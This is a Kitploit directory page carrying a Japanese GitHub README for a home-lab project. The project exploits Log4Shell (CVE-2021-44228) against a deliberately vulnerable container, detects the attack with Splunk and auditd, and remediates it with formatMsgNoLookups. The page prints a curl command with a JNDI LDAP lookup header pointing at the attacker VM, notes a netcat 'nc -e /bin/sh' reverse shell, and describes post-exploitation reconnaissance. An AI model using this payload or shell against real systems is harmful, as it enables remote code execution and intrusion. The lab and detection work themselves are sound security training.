Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-exploitation-detection — Log4Shellの悪用、Splunkとauditdを用いた検知エンジニアリング、そしてコンテナ化環境での検証済み修復を実演する実践的なプロジェクトです。 | Kitploit
ツール/GitHubGitHub/kalidoulabghaly/log4shell-exploitation-detection
コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテスト学習と教育インシデントレスポンスログ分析ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
kalidoulabghaly/log4shell-exploitation-detection

log4shell-exploitation-detection

Log4Shellの悪用、Splunkとauditdを用いた検知エンジニアリング、そしてコンテナ化環境での検証済み修復を実演する実践的なプロジェクトです。

リポジトリを見る
7時間31分前未レビュー

Log4Shell (CVE-2021-44228) の悪用・検知・修復

Log4Shell 脆弱性のライフサイクル全体をシミュレートする実践的な攻撃・防御セキュリティプロジェクト。攻撃者管理 VM からの悪用、Splunk での検知エンジニアリング、検証済みの修復までをカバーします。

このプロジェクトの目的

この分野のポートフォリオプロジェクトのほとんどは SSH ブルートフォースを扱っています。私はより幅広いスキルセットを示すものを望んでいました。実際の影響度の高い CVE をエンドツーエンドで悪用し、その後防御側に切り替えて検知・修復するという、セキュリティエンジニアや検知エンジニアが実際に業務で経験するのと同じライフサイクルです。

環境

  • 攻撃マシン: Kali Linux VM (192.168.1.86)
  • ターゲットマシン: Linux Mint VM、ホスト名 illshot (192.168.1.85)、ログ収集と検知のために Splunk をネイティブ実行
  • 脆弱なアプリケーション: ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot、Log4j 2.14.1、Java 8u181) を Docker コンテナで実行し、--log-driver=syslog でログを Mint の syslog にパイプ
  • 両 VM は同じ LAN にブリッジ接続され、すべての攻撃トラフィックが Splunk から可視化されるように構成

攻撃チェーン

1. リスナーと悪用ツールのセットアップ。 Kali 上で netcat リスナーを起動してリバースシェルのコールバックを受信し、その後、自作の JNDI-Injection-Exploit ツール(プリビルド版が利用できなかったためソースからビルド)を起動して悪意のある LDAP ペイロードを配信しました。

Netcat リスナーセットアップ JNDI 悪用ツール起動 Docker コンテナ再起動

2. エクスプロイトの送信。 JNDI ルックアップ文字列を含む細工した HTTP ヘッダーを介してペイロードを配信し、ポート 8080 で稼働する脆弱なアプリを標的にしました。

root@kitploit:~
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

Curl エクスプロイト送信

3. シェルの取得。 脆弱なアプリがヘッダーを解析し、JNDI ルックアップをトリガーして、Kali マシンにコールバックして悪意のあるクラスを取得・実行させ、コンテナ内で root として動作するリバースシェルを獲得しました。

リバースシェル、root アクセス

攻撃後の偵察(実際の攻撃者が行うように): root アクセスを確認し、環境変数をレビュー(クリーン、シークレットの漏洩なし)、アプリケーション jar を検査し、/etc/passwd を確認。未使用の Alpine ベースイメージのサービスアカウント群が明らかになり、実際の攻撃対象領域を反映しない誤解を招く偵察アーティファクトの良い例となりました。

検知

JNDI エクスプロイト検知

Mint の syslog を取り込む Splunk が攻撃チェーン全体を捕捉しました。最初の JNDI ルックアップリクエスト、その結果生じた NamingException と ClassCastException のスタックトレース、およびホストレベルでコンテナとやり取りするために使用された関連する sudo docker exec コマンドです。

JNDI スタックトレースと docker exec ログ Splunk で確認された JNDI エクスプロイト

悪用に先立って偵察活動も可視化されていました。UFW ファイアウォールログが Kali からターゲットへの Nmap スキャントラフィックを捕捉しました。

UFW スキャントラフィックの送信元内訳

ホストレベル検知 (auditd)

このプロジェクトの重要な技術的発見: 生の nc -e /bin/sh リバースシェルは PAM を経由して認証されることがないため、auth.log にエントリを一切生成せず、ログインセッションも作成しません。それだけでは、この種のシェルは標準的なログインベースのログ記録では見えないことになります。

しかし、Docker コンテナは完全に分離された仮想化カーネルではなく、ホストのカーネルを共有しています。つまり、コンテナ内のすべての execve(プロセス実行)は、ホストの監査サブシステムから依然として可視です。Mint で auditd を構成し、システム全体で execve システムコールを監視し、ルールにタグ(container_exec)を付け、/var/log/audit/audit.log を新しい入力として Splunk に取り込みました。

auditd ルール検証

エクスプロイトを再トリガーし、攻撃後のコマンド(whoami、cat /etc/passwd、ls /app、env)を実行して理論を確認しました。auditd はすべてのコマンドを捕捉し、生の nc リバースシェルの呼び出し自体も含め、攻撃者の IP とポートがログ記録された引数に直接表示されました。

nc リバースシェルコマンドを捕捉する auditd

より広範な攻撃後の活動も完全に可視化され、/bin/busybox の下で実行されていました(コンテナの最小シェルはほとんどの Unix ツールを単一の BusyBox バイナリへのシンボリックリンクとして実装しているため、comm は busybox と表示されますが、exe は完全なパスを解決します):

busybox 配下のコンテナコマンドを捕捉する auditd フィルタリングされた auditd 検索、comm フィールド内訳

もう 1 つ注目すべき詳細: 捕捉されたすべてのイベントで auid=4294967295(未設定/ログインセッションなし)が uid=0(root)とペアになっていました。この組み合わせ自体が、認証されていないシェルの強力な証拠です。通常の認証を完全にバイパスしたシェルから期待される通り、監査ログイン ID がまったくない状態で完全な root 権限で実行されているプロセスです。

使用した主要な検知クエリ:

root@kitploit:~
index=main *jndi*
root@kitploit:~
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time

修復

パッチ適用済みの Log4j リリースに先立って Apache と CISA が公開した公式の暫定緩和策を適用しました。JVM システムプロパティによる JNDI メッセージルックアップの無効化です。

root@kitploit:~
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
  -p 8080:8080 \
  -e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
  ghcr.io/christophetd/log4shell-vulnerable-app

修復後にまったく同じエクスプロイトチェーンを再試行して修正を確認しました。リクエストは引き続き到着してログに記録されましたが、JNDI ルックアップは評価されず、コールバックもスタックトレースもシェルも発生しませんでした。

修復の検証、エクスプロイト失敗

この比較がこのプロジェクトの最も明確な証拠です。元の攻撃は 136 以上の関連ログイベントと成功したコールバックを伴う完全なエクスプロイトチェーンを生成しました。修復後、同一の攻撃はダウンストリームのルックアップ活動を一切伴わない単一の無害なログ行を生成するだけです。

多層防御の観点で注目すべき点: エクスプロイトの試行は修復後もログに残り続けました。脆弱性がパッチ適用されても検知の価値は消えません。後で誤設定されたパッチ適用済みシステムや、変種ペイロードも、ここで構築した同じ検知クエリで捕捉されるでしょう。

主な学び

  • 実際の影響度の高い CVE(Log4Shell)をペイロード配信から機能するリバースシェルまでエンドツーエンドで悪用
  • 2 つのレイヤーにわたる検知カバレッジを構築: アプリケーション/ネットワークレベル(ログ内の JNDI 文字列マッチング)とホストレベル(auditd システムコール監視)
  • 実際のコンテナセキュリティの概念を実証: カーネル共有により、ホストレベルの監査が通常の認証ベースのログ記録を完全にバイパスする活動を捕捉できる
  • 実際の修復策を適用・検証し、修正が適用されただけでなく実際に機能することを証明する前後の証拠を示した
ツールをダウンロード